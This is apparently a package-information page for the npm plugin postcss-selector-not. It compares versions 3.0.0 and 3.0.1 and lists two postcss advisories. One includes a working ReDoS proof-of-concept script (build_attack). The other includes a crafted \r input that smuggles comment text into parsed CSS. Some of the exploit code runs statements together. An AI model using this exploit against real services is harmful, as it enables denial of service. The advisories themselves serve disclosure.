PostCSS Selector Not offers a straightforward solution for developers seeking to utilize the :not() pseudo-class in their CSS, ensuring compatibility with older browsers that don't fully support CSS level 4 specifications. It transforms :not() selectors, allowing developers to leverage modern CSS syntax while maintaining broader browser support.
Focusing on the differences between versions 3.0.0 and 3.0.1, the latter introduces a minor enhancement. While both versions share the same core functionality, dependencies (like postcss and balanced-match), and development tools (tape, eslint, babel-*), the key distinction lies in the introduction of babel-plugin-add-module-exports as a development dependency in version 3.0.1. This addition likely addresses specific module export compatibility issues that may have surfaced in certain environments or build setups.
For developers, this means version 3.0.1 potentially offers improved stability and broader compatibility, especially within diverse JavaScript module systems. The inclusion of babel-plugin-add-module-exports suggests a refinement in the module's exposure, potentially preventing unexpected behavior when importing or using the plugin in different project configurations. Moreover, the newer release date (May 15, 2017, versus May 11, 2017) indicates that version 3.0.1 incorporates the latest fixes and improvements available at that time, making it a subtly but potentially significant upgrade for developers seeking the most reliable and up-to-date version of the plugin. For most users it wouldn't be a breaking change but still an improvement of the existing features.
All the vulnerabilities related to the version 3.0.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.